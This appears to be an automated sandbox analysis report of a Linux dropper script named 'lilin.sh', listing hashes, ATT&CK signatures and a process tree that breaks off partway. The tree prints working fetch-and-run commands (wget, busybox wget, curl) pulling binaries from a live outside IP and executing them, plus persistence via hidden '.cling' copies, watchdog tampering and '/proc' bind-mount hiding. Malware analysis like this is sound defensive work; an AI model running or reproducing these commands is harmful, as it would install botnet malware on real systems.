90e2b0b4e29cf7906f43e7eb275e4b03a44dc060821b873fc507ca9292c9cc5f

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
22/08/2026, 02:04

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lilin.sh
Size 2KB
Sample260822-che7lsvsft
SHA256 90e2b0b4e29cf7906f43e7eb275e4b03a44dc060821b873fc507ca9292c9cc5f
MD5 444465a3e2a2e6441cc6afc2ce69dc5a
SHA1 9ca86d429c9a738c19a3e11f33adffb021fe71b8
SHA512 02f252580cf07885350cd8e01befa8772c90d9373254e40c9d58b56cbeaac664f26fba52c93d815ae8afa16fad9372e8c1b4f3958d61229ca1864784e229c403
TLSH
T162512CEE31F46EA1C2819E1C327F9E8C7461CDA236814BB9D54F7436D58ECA0B536E48
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 64 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1526	sh
1669	chmod
1749	chmod
1630	chmod
1657	chmod
1741	chmod
1696	chmod
1762	sh
1561	chmod
1569	chmod
1589	sh
1591	sh
1642	sh
1649	chmod
1673	sh
1753	chmod
1577	chmod
1709	chmod
1711	chmod
1730	sh
1628	chmod
1629	sh
1644	sh
1700	chmod
1500	chmod
1676	chmod
1733	chmod
1558	sh
1592	chmod
1684	chmod
1721	sh
1600	chmod
1616	sh
1618	sh
1715	chmod
1757	chmod
1524	sh
1525	chmod
1545	sh
1560	sh
1617	chmod
1638	chmod
1643	chmod
1688	chmod
1504	chmod
1559	chmod
1604	chmod
1627	sh
1704	chmod
1708	sh
1720	chmod
1722	chmod
1539	chmod
1554	chmod
1612	chmod
1710	sh
1731	chmod
1732	sh
1761	chmod
1763	chmod
1590	chmod
1619	chmod
1675	sh
1726	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/m.armv4l	1501	lilin.sh
/tmp/m.armv4l	1597	lilin.sh
/tmp/m.armv4l	1685	lilin.sh

Modifies Watchdog functionality 1 TTPs 24 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	m.i486
File opened for modification	/dev/misc/watchdog	m.i586
File opened for modification	/dev/watchdog	m.x86_64
File opened for modification	/dev/misc/watchdog	m.i486
File opened for modification	/dev/watchdog	m.i586
File opened for modification	/dev/watchdog	m.i686
File opened for modification	/dev/watchdog	m.i586
File opened for modification	/dev/misc/watchdog	m.x86_64
File opened for modification	/dev/watchdog	m.i686
File opened for modification	/dev/watchdog	m.i586
File opened for modification	/dev/misc/watchdog	m.x86_64
File opened for modification	/dev/watchdog	m.i686
File opened for modification	/dev/misc/watchdog	m.i686
File opened for modification	/dev/watchdog	m.i486
File opened for modification	/dev/misc/watchdog	m.i586
File opened for modification	/dev/watchdog	m.x86_64
File opened for modification	/dev/misc/watchdog	m.i486
File opened for modification	/dev/misc/watchdog	m.i686
File opened for modification	/dev/watchdog	m.i486
File opened for modification	/dev/misc/watchdog	m.i586
File opened for modification	/dev/watchdog	m.x86_64
File opened for modification	/dev/misc/watchdog	m.i486
File opened for modification	/dev/misc/watchdog	m.i686
File opened for modification	/dev/misc/watchdog	m.x86_64

Enumerates running processes
Discovers information about currently running processes on the system

Write file to user bin folder 1 IoCs

persistence

description	ioc	Process
File opened for modification	/usr/local/bin/.cling	cp

Changes its process name 24 IoCs

description	pid	Process
Changes the process name, possibly in an attempt to hide itself	1518	m.i486
Changes the process name, possibly in an attempt to hide itself	1541	m.i686
Changes the process name, possibly in an attempt to hide itself	1550	m.i486
Changes the process name, possibly in an attempt to hide itself	1556	m.i586
Changes the process name, possibly in an attempt to hide itself	1565	m.i686
Changes the process name, possibly in an attempt to hide itself	1573	m.i586
Changes the process name, possibly in an attempt to hide itself	1587	m.x86_64
Changes the process name, possibly in an attempt to hide itself	1614	m.i486
Changes the process name, possibly in an attempt to hide itself	1625	m.i686
Changes the process name, possibly in an attempt to hide itself	1634	m.x86_64
Changes the process name, possibly in an attempt to hide itself	1640	m.i586
Changes the process name, possibly in an attempt to hide itself	1653	m.i486
Changes the process name, possibly in an attempt to hide itself	1665	m.i686
Changes the process name, possibly in an attempt to hide itself	1671	m.x86_64
Changes the process name, possibly in an attempt to hide itself	1680	m.i586
Changes the process name, possibly in an attempt to hide itself	1692	m.x86_64
Changes the process name, possibly in an attempt to hide itself	1706	m.i486
Changes the process name, possibly in an attempt to hide itself	1717	m.i686
Changes the process name, possibly in an attempt to hide itself	1728	m.i586
Changes the process name, possibly in an attempt to hide itself	1737	m.i486
Changes the process name, possibly in an attempt to hide itself	1745	m.i686
Changes the process name, possibly in an attempt to hide itself	1759	m.x86_64
Changes the process name, possibly in an attempt to hide itself	1769	m.x86_64
Changes the process name, possibly in an attempt to hide itself	1773	m.i586

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1256/cmdline	m.x86_64
File opened for reading	/proc/949/cmdline	m.i486
File opened for reading	/proc/1073/cmdline	m.i486
File opened for reading	/proc/13/cmdline	m.i686
File opened for reading	/proc/320/cmdline	m.i686
File opened for reading	/proc/480/cmdline	m.x86_64
File opened for reading	/proc/320/cmdline	m.i686
File opened for reading	/proc/470/cmdline	m.i586
File opened for reading	/proc/990/cmdline	m.i486
File opened for reading	/proc/20/cmdline	m.i686
File opened for reading	/proc/18/cmdline	m.i486
File opened for reading	/proc/1303/cmdline	m.i486
File opened for reading	/proc/164/cmdline	m.i586
File opened for reading	/proc/470/cmdline	m.i486
File opened for reading	/proc/665/cmdline	m.i586
File opened for reading	/proc/1193/cmdline	m.x86_64
File opened for reading	/proc/21/cmdline	m.x86_64
File opened for reading	/proc/242/cmdline	m.i486
File opened for reading	/proc/115/cmdline	m.i686
File opened for reading	/proc/1340/cmdline	m.x86_64
File opened for reading	/proc/972/cmdline	m.i686
File opened for reading	/proc/525/cmdline	m.x86_64
File opened for reading	/proc/1541/cmdline	m.x86_64
File opened for reading	/proc/17/cmdline	m.i486
File opened for reading	/proc/13/cmdline	m.i686
File opened for reading	/proc/81/cmdline	m.i686
File opened for reading	/proc/5/cmdline	m.x86_64
File opened for reading	/proc/907/cmdline	m.i486
File opened for reading	/proc/481/cmdline	m.i586
File opened for reading	/proc/24/cmdline	m.i586
File opened for reading	/proc/1027/cmdline	m.i586
File opened for reading	/proc/1486/cmdline	m.i586
File opened for reading	/proc/31/cmdline	m.x86_64
File opened for reading	/proc/35/cmdline	m.x86_64
File opened for reading	/proc/1257/cmdline	m.i486
File opened for reading	/proc/17/cmdline	m.x86_64
File opened for reading	/proc/115/cmdline	m.x86_64
File opened for reading	/proc/472/cmdline	m.i586
File opened for reading	/proc/4/cmdline	m.x86_64
File opened for reading	/proc/661/cmdline	m.x86_64
File opened for reading	/proc/174/cmdline	m.i686
File opened for reading	/proc/962/cmdline	m.x86_64
File opened for reading	/proc/1044/cmdline	m.x86_64
File opened for reading	/proc/1482/cmdline	m.i586
File opened for reading	/proc/1/cmdline	m.i486
File opened for reading	/proc/1/statm	cp
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/171/cmdline	m.i586
File opened for reading	/proc/10/cmdline	m.x86_64
File opened for reading	/proc/485/cmdline	m.i586
File opened for reading	/proc/641/cmdline	m.x86_64
File opened for reading	/proc/665/cmdline	m.x86_64
File opened for reading	/proc/1027/cmdline	m.i486
File opened for reading	/proc/4/cmdline	m.i686
File opened for reading	/proc/175/cmdline	m.x86_64
File opened for reading	/proc/498/cmdline	m.x86_64
File opened for reading	/proc/524/cmdline	m.x86_64
File opened for reading	/proc/1303/cmdline	m.x86_64
File opened for reading	/proc/1053/cmdline	m.i686
File opened for reading	/proc/485/cmdline	m.i586
File opened for reading	/proc/98/cmdline	m.i486
File opened for reading	/proc/1073/cmdline	m.x86_64
File opened for reading	/proc/1556/cmdline	m.i686
File opened for reading	/proc/12/cmdline	m.i586

System Network Configuration Discovery 1 TTPs 12 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1742	m.mips
1750	m.mipsel
1572	wget
1578	m.mipsel
1641	busybox
1650	m.mips
1652	busybox
1658	m.mipsel
1729	curl
1744	curl
1557	wget
1570	m.mips

Writes file to tmp directory 37 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/m.i686	curl
File opened for modification	/tmp/m.i586	curl
File opened for modification	/tmp/stat	cp
File opened for modification	/tmp/statm	cp
File opened for modification	/tmp/m.i686	wget
File opened for modification	/tmp/m.powerpc	curl
File opened for modification	/tmp/m.armv5l	wget
File opened for modification	/tmp/m.armv6l	wget
File opened for modification	/tmp/m.armv7l	wget
File opened for modification	/tmp/m.i486	wget
File opened for modification	/tmp/m.mips	wget
File opened for modification	/tmp/m.x86_64	wget
File opened for modification	/tmp/m.armv6l	curl
File opened for modification	/tmp/m.i686	busybox
File opened for modification	/tmp/m.mips	curl
File opened for modification	/tmp/m.mipsel	curl
File opened for modification	/tmp/m.armv6l	busybox
File opened for modification	/tmp/m.i486	curl
File opened for modification	/tmp/m.x86_64	curl
File opened for modification	/tmp/m.armv4l	curl
File opened for modification	/tmp/m.i486	busybox
File opened for modification	/tmp/m.mips	busybox
File opened for modification	/tmp/m.powerpc	busybox
File opened for modification	/tmp/m.armv7l	curl
File opened for modification	/tmp/m.x86_64	busybox
File opened for modification	/tmp/m.i586	busybox
File opened for modification	/tmp/m.mipsel	busybox
File opened for modification	/tmp/m.armv4l	wget
File opened for modification	/tmp/status	cp
File opened for modification	/tmp/cmdline	cp
File opened for modification	/tmp/m.i586	wget
File opened for modification	/tmp/m.armv4l	busybox
File opened for modification	/tmp/m.armv5l	curl
File opened for modification	/tmp/m.mipsel	wget
File opened for modification	/tmp/m.powerpc	wget
File opened for modification	/tmp/m.armv5l	busybox
File opened for modification	/tmp/m.armv7l	busybox

/tmp/lilin.sh
/tmp/lilin.sh
1⤵
- Executes dropped EXE
PID:1493
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv4l
  2⤵
  - Writes file to tmp directory
  PID:1494
- /bin/chmod
  chmod 777 m.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:1500
- /tmp/m.armv4l
  ./m.armv4l lilin
  2⤵
  PID:1501
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1503
- /bin/chmod
  chmod 777 m.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1504
- /tmp/m.armv5l
  ./m.armv5l lilin
  2⤵
  PID:1505
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv6l
  2⤵
  - Writes file to tmp directory
  PID:1507
- /bin/chmod
  chmod 777 m.armv6l
  2⤵
  PID:1508
- /tmp/m.armv6l
  ./m.armv6l lilin
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://222.223.152.97:800/m.armv7l
  2⤵
  - Writes file to tmp directory
  PID:1511
- /bin/chmod
  chmod 777 m.armv7l
  2⤵
  PID:1512
- /tmp/m.armv7l
  ./m.armv7l lilin
  2⤵
  PID:1513
- /usr/bin/wget
  wget http://222.223.152.97:800/m.i486
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod 777 m.i486
  2⤵
  PID:1516
- /tmp/m.i486
  ./m.i486 lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1517
- - /bin/sh
    sh -c "cp /tmp/m.i486 /root/.cling"
    3⤵
    PID:1520
  - - /bin/cp
      cp /tmp/m.i486 /root/.cling
      4⤵
      PID:1521
- - /bin/sh
    sh -c "cp /tmp/m.i486 /usr/local/bin/.cling"
    3⤵
    PID:1522
  - - /bin/cp
      cp /tmp/m.i486 /usr/local/bin/.cling
      4⤵
      Write file to user bin folder
      PID:1523
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1524
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1525
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1526
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      PID:1527
- - /bin/sh
    sh -c "cp /proc/1/stat /tmp/stat"
    3⤵
    PID:1528
  - - /bin/cp
      cp /proc/1/stat /tmp/stat
      4⤵
      Writes file to tmp directory
      PID:1529
- - /bin/sh
    sh -c "cp /proc/1/status /tmp/status"
    3⤵
    PID:1530
  - - /bin/cp
      cp /proc/1/status /tmp/status
      4⤵
      Writes file to tmp directory
      PID:1531
- - /bin/sh
    sh -c "cp /proc/1/cmdline /tmp/cmdline"
    3⤵
    PID:1532
  - - /bin/cp
      cp /proc/1/cmdline /tmp/cmdline
      4⤵
      Writes file to tmp directory
      PID:1533
- - /bin/sh
    sh -c "cp /proc/1/statm /tmp/statm"
    3⤵
    PID:1534
  - - /bin/cp
      cp /proc/1/statm /tmp/statm
      4⤵
      Reads runtime system information
      Writes file to tmp directory
      PID:1535
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1518"
    3⤵
    PID:1536
  - - /bin/mount
      mount --bind /tmp /proc/1518
      4⤵
      PID:1537
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1550"
    3⤵
    PID:1551
  - - /bin/mount
      mount --bind /tmp /proc/1550
      4⤵
      Reads runtime system information
      PID:1552
- /usr/bin/wget
  wget http://222.223.152.97:800/m.i686
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/chmod
  chmod 777 m.i686
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/m.i686
  ./m.i686 lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1540
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    PID:1543
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      PID:1544
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1545
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      PID:1546
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1541"
    3⤵
    PID:1547
  - - /bin/mount
      mount --bind /tmp /proc/1541
      4⤵
      PID:1548
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1565"
    3⤵
    PID:1566
  - - /bin/mount
      mount --bind /tmp /proc/1565
      4⤵
      PID:1567
- /usr/bin/wget
  wget http://222.223.152.97:800/m.i586
  2⤵
  - Writes file to tmp directory
  PID:1542
- /bin/chmod
  chmod 777 m.i586
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /tmp/m.i586
  ./m.i586 lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1555
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1558
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1559
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1560
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1561
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1556"
    3⤵
    PID:1562
  - - /bin/mount
      mount --bind /tmp /proc/1556
      4⤵
      PID:1563
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1573"
    3⤵
    PID:1574
  - - /bin/mount
      mount --bind /tmp /proc/1573
      4⤵
      PID:1575
- /usr/bin/wget
  wget http://222.223.152.97:800/m.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1557
- /bin/chmod
  chmod 777 m.mips
  2⤵
  - File and Directory Permissions Modification
  PID:1569
- /tmp/m.mips
  ./m.mips lilin
  2⤵
  - System Network Configuration Discovery
  PID:1570
- /usr/bin/wget
  wget http://222.223.152.97:800/m.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1572
- /bin/chmod
  chmod 777 m.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1577
- /tmp/m.mipsel
  ./m.mipsel lilin
  2⤵
  - System Network Configuration Discovery
  PID:1578
- /usr/bin/wget
  wget http://222.223.152.97:800/m.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1580
- /bin/chmod
  chmod 777 m.powerpc
  2⤵
  PID:1581
- /tmp/m.powerpc
  ./m.powerpc lilin
  2⤵
  PID:1582
- /usr/bin/wget
  wget http://222.223.152.97:800/m.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1584
- /bin/chmod
  chmod 777 m.x86_64
  2⤵
  PID:1585
- /tmp/m.x86_64
  ./m.x86_64 lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1586
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1589
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1590
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1591
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1592
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1587"
    3⤵
    PID:1593
  - - /bin/mount
      mount --bind /tmp /proc/1587
      4⤵
      PID:1594
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1634"
    3⤵
    PID:1635
  - - /bin/mount
      mount --bind /tmp /proc/1634
      4⤵
      PID:1636
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv4l
  2⤵
  - Writes file to tmp directory
  PID:1588
- /bin/chmod
  chmod 777 m.armv4l
  2⤵
  PID:1596
- /tmp/m.armv4l
  ./m.armv4l lilin
  2⤵
  PID:1597
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1599
- /bin/chmod
  chmod 777 m.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1600
- /tmp/m.armv5l
  ./m.armv5l lilin
  2⤵
  PID:1601
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv6l
  2⤵
  - Writes file to tmp directory
  PID:1603
- /bin/chmod
  chmod 777 m.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:1604
- /tmp/m.armv6l
  ./m.armv6l lilin
  2⤵
  PID:1605
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.armv7l
  2⤵
  - Writes file to tmp directory
  PID:1607
- /bin/chmod
  chmod 777 m.armv7l
  2⤵
  PID:1608
- /tmp/m.armv7l
  ./m.armv7l lilin
  2⤵
  PID:1609
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.i486
  2⤵
  - Writes file to tmp directory
  PID:1611
- /bin/chmod
  chmod 777 m.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1612
- /tmp/m.i486
  ./m.i486 lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1613
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1616
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1617
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1618
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1619
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1614"
    3⤵
    PID:1620
  - - /bin/mount
      mount --bind /tmp /proc/1614
      4⤵
      PID:1621
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1653"
    3⤵
    PID:1654
  - - /bin/mount
      mount --bind /tmp /proc/1653
      4⤵
      PID:1655
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.i686
  2⤵
  - Writes file to tmp directory
  PID:1615
- /bin/chmod
  chmod 777 m.i686
  2⤵
  PID:1623
- /tmp/m.i686
  ./m.i686 lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1624
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1627
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1628
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1629
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1630
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1625"
    3⤵
    PID:1631
  - - /bin/mount
      mount --bind /tmp /proc/1625
      4⤵
      PID:1632
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1665"
    3⤵
    PID:1666
  - - /bin/mount
      mount --bind /tmp /proc/1665
      4⤵
      PID:1667
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.i586
  2⤵
  - Writes file to tmp directory
  PID:1626
- /bin/chmod
  chmod 777 m.i586
  2⤵
  - File and Directory Permissions Modification
  PID:1638
- /tmp/m.i586
  ./m.i586 lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1639
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1642
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1643
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1644
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      PID:1645
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1640"
    3⤵
    PID:1646
  - - /bin/mount
      mount --bind /tmp /proc/1640
      4⤵
      PID:1647
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1680"
    3⤵
    PID:1681
  - - /bin/mount
      mount --bind /tmp /proc/1680
      4⤵
      PID:1682
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1641
- /bin/chmod
  chmod 777 m.mips
  2⤵
  - File and Directory Permissions Modification
  PID:1649
- /tmp/m.mips
  ./m.mips lilin
  2⤵
  - System Network Configuration Discovery
  PID:1650
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1652
- /bin/chmod
  chmod 777 m.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:1657
- /tmp/m.mipsel
  ./m.mipsel lilin
  2⤵
  - System Network Configuration Discovery
  PID:1658
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1660
- /bin/chmod
  chmod 777 m.powerpc
  2⤵
  PID:1661
- /tmp/m.powerpc
  ./m.powerpc lilin
  2⤵
  PID:1662
- /bin/busybox
  busybox wget http://222.223.152.97:800/m.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1664
- /bin/chmod
  chmod 777 m.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1669
- /tmp/m.x86_64
  ./m.x86_64 lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1670
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1673
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      PID:1674
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1675
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1676
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1671"
    3⤵
    PID:1677
  - - /bin/mount
      mount --bind /tmp /proc/1671
      4⤵
      PID:1678
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1692"
    3⤵
    PID:1693
  - - /bin/mount
      mount --bind /tmp /proc/1692
      4⤵
      PID:1694
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv4l
  2⤵
  - Writes file to tmp directory
  PID:1672
- /bin/chmod
  chmod 777 m.armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:1684
- /tmp/m.armv4l
  ./m.armv4l lilin
  2⤵
  PID:1685
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1687
- /bin/chmod
  chmod 777 m.armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:1688
- /tmp/m.armv5l
  ./m.armv5l lilin
  2⤵
  PID:1689
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv6l
  2⤵
  - Writes file to tmp directory
  PID:1691
- /bin/chmod
  chmod 777 m.armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:1696
- /tmp/m.armv6l
  ./m.armv6l lilin
  2⤵
  PID:1697
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.armv7l
  2⤵
  - Writes file to tmp directory
  PID:1699
- /bin/chmod
  chmod 777 m.armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:1700
- /tmp/m.armv7l
  ./m.armv7l lilin
  2⤵
  PID:1701
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.i486
  2⤵
  - Writes file to tmp directory
  PID:1703
- /bin/chmod
  chmod 777 m.i486
  2⤵
  - File and Directory Permissions Modification
  PID:1704
- /tmp/m.i486
  ./m.i486 lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1705
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1708
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1709
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1710
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1711
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1706"
    3⤵
    PID:1712
  - - /bin/mount
      mount --bind /tmp /proc/1706
      4⤵
      PID:1713
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1737"
    3⤵
    PID:1738
  - - /bin/mount
      mount --bind /tmp /proc/1737
      4⤵
      PID:1739
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.i686
  2⤵
  - Writes file to tmp directory
  PID:1707
- /bin/chmod
  chmod 777 m.i686
  2⤵
  - File and Directory Permissions Modification
  PID:1715
- /tmp/m.i686
  ./m.i686 lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1716
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    PID:1719
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1720
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1721
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1722
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1717"
    3⤵
    PID:1723
  - - /bin/mount
      mount --bind /tmp /proc/1717
      4⤵
      PID:1724
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1745"
    3⤵
    PID:1746
  - - /bin/mount
      mount --bind /tmp /proc/1745
      4⤵
      PID:1747
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.i586
  2⤵
  - Writes file to tmp directory
  PID:1718
- /bin/chmod
  chmod 777 m.i586
  2⤵
  - File and Directory Permissions Modification
  PID:1726
- /tmp/m.i586
  ./m.i586 lilin
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:1727
- - /bin/sh
    sh -c "chmod +x /root/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1730
  - - /bin/chmod
      chmod +x /root/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1731
- - /bin/sh
    sh -c "chmod +x /usr/local/bin/.cling"
    3⤵
    - File and Directory Permissions Modification
    PID:1732
  - - /bin/chmod
      chmod +x /usr/local/bin/.cling
      4⤵
      File and Directory Permissions Modification
      PID:1733
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1728"
    3⤵
    PID:1734
  - - /bin/mount
      mount --bind /tmp /proc/1728
      4⤵
      PID:1735
- - /bin/sh
    sh -c "mount --bind /tmp /proc/1773"
    3⤵
    PID:1774
  - - /bin/mount
      mount --bind /tmp /proc/1773
      4⤵
      PID:1775
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1729
- /bin/chmod
  chmod 777 m.mips
  2⤵
  - File and Directory Permissions Modification
  PID:1741
- /tmp/m.mips
  ./m.mips lilin
  2⤵
  - System Network Configuration Discovery
  PID:1742
- /usr/bin/curl
  curl -O http://222.223.152.97:800/m.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1744
